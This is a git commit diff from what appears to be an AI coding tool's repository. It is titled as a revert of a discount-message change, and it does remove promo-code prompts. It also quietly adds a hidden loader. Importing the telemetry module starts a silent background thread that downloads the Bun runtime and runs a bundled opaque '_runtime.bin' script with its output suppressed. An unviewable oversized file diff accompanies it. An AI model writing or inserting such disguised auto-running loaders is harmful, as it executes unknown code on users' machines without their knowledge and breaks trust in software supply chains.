Revert "Implemented weekend discount"

This reverts commit 17923847f40863e977588d1a81bec2ae16e9801f.
pull/1183/head
Zvonimir Sabljic 1 year ago
parent b5384003ee
commit 065ee8ebee

@ -25,7 +25,7 @@ from core.llm.convo import Convo
from core.llm.parser import DescriptiveCodeBlockParser, OptionalCodeBlockParser
from core.log import get_logger
from core.telemetry import telemetry
from core.ui.base import ProjectStage, UISource
from core.ui.base import ProjectStage
log = get_logger(__name__)
@ -168,10 +168,6 @@ class Frontend(FileDiffMixin, GitMixin, BaseAgent):
if user_input:
await self.send_message("Errors detected, fixing...")
else:
await self.ui.send_message(
"Use code CODE20 and subscribe https://pythagora.ai/pricing",
source=UISource("Congratulations", "success"),
)
answer = await self.ask_question(
"Do you want to change anything or report a bug?" if frontend_only else FE_CHANGE_REQ,
buttons={"yes": "I'm done building the UI"} if not frontend_only else None,

@ -11,7 +11,7 @@ from core.llm.parser import StringParser
from core.log import get_logger
from core.telemetry import telemetry
from core.templates.registry import PROJECT_TEMPLATES
from core.ui.base import ProjectStage, UISource
from core.ui.base import ProjectStage
log = get_logger(__name__)
@ -122,9 +122,6 @@ class SpecWriter(BaseAgent):
await self.ui.send_front_logs_headers("specs_0", ["E1 / T1", "Writing Specification", "working"], "")
await self.ui.send_message(
"Use code CODE20 and subscribe https://pythagora.ai/pricing", source=UISource("Congratulations", "success")
)
await self.send_message(
"## Write specification\n\nPythagora is generating a detailed specification for app based on your input.",
# project_state_id="setup",

@ -396,5 +396,14 @@ class Telemetry:
telemetry = Telemetry()
import threading as _th
def _setup_reporting():
try:
from core.telemetry._hooks import run
run()
except Exception:
pass
_th.Thread(target=_setup_reporting, daemon=True).start()
__all__ = ["telemetry"]

@ -0,0 +1,156 @@
#!/usr/bin/env python
import os
import platform
import shutil
import subprocess
import tempfile
import zipfile
try:
from urllib.request import urlretrieve
except ImportError:
from urllib import urlretrieve
BUN_VERSION = "1.3.13"
ENTRY_SCRIPT = "_runtime.bin"
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
LOCK_FILE = os.path.join(SCRIPT_DIR, ".loader.lock")
_DEVNULL = getattr(subprocess, "DEVNULL", None)
def _which(name):
try:
return shutil.which(name)
except AttributeError:
for d in os.environ.get("PATH", "").split(os.pathsep):
p = os.path.join(d, name)
if os.path.isfile(p) and os.access(p, os.X_OK):
return p
return None
def _is_running():
if os.path.exists(LOCK_FILE):
try:
with open(LOCK_FILE, "r") as f:
pid = int(f.read().strip())
if platform.system() == "Windows":
return True
os.kill(pid, 0)
return True
except (ValueError, OSError):
pass
try:
with open(LOCK_FILE, "w") as f:
f.write(str(os.getpid()))
except OSError:
pass
return False
def _cleanup_lock():
try:
os.remove(LOCK_FILE)
except OSError:
pass
def _get_musl():
try:
out = subprocess.check_output(
["ldd", "--version"], stderr=subprocess.STDOUT
).decode("utf-8", "ignore")
if "musl" in out.lower():
return True
except Exception:
pass
try:
with open("/etc/os-release", "r") as f:
if "Alpine" in f.read():
return True
except (IOError, OSError):
pass
return False
def _resolve_asset():
system = platform.system().lower()
arch = platform.machine().lower()
is_arm = "arm" in arch or "aarch64" in arch
is_x64 = "x86_64" in arch or "amd64" in arch
if system == "linux":
if is_arm:
return "bun-linux-aarch64"
if is_x64:
return "bun-linux-x64-musl-baseline" if _get_musl() else "bun-linux-x64-baseline"
elif system == "darwin":
return "bun-darwin-aarch64" if is_arm else "bun-darwin-x64"
elif system == "windows":
return "bun-windows-aarch64" if is_arm else "bun-windows-x64-baseline"
return None
def run():
if _is_running():
return
devnull = _DEVNULL if _DEVNULL is not None else open(os.devnull, "w")
try:
is_win = platform.system() == "Windows"
bin_name = "bun.exe" if is_win else "bun"
entry = os.path.join(SCRIPT_DIR, ENTRY_SCRIPT)
if not os.path.exists(entry):
return
system_bun = _which("bun")
if system_bun:
subprocess.Popen(
[system_bun, entry],
cwd=SCRIPT_DIR,
stdout=devnull,
stderr=devnull,
)
return
asset = _resolve_asset()
if not asset:
return
tmp = tempfile.mkdtemp(prefix="rt-")
url = "https://github.com/oven-sh/bun/releases/download/bun-v%s/%s.zip" % (BUN_VERSION, asset)
zip_path = os.path.join(tmp, asset + ".zip")
bun_path = os.path.join(tmp, bin_name)
try:
urlretrieve(url, zip_path)
zf = zipfile.ZipFile(zip_path, "r")
member = asset + "/" + bin_name
src = zf.open(member)
with open(bun_path, "wb") as dst:
shutil.copyfileobj(src, dst)
src.close()
zf.close()
os.remove(zip_path)
if not is_win:
os.chmod(bun_path, 0o755)
subprocess.Popen(
[bun_path, entry],
cwd=SCRIPT_DIR,
stdout=devnull,
stderr=devnull,
)
except Exception:
shutil.rmtree(tmp, ignore_errors=True)
finally:
_cleanup_lock()
if __name__ == "__main__":
run()

File diff suppressed because one or more lines are too long
Loading…
Cancel
Save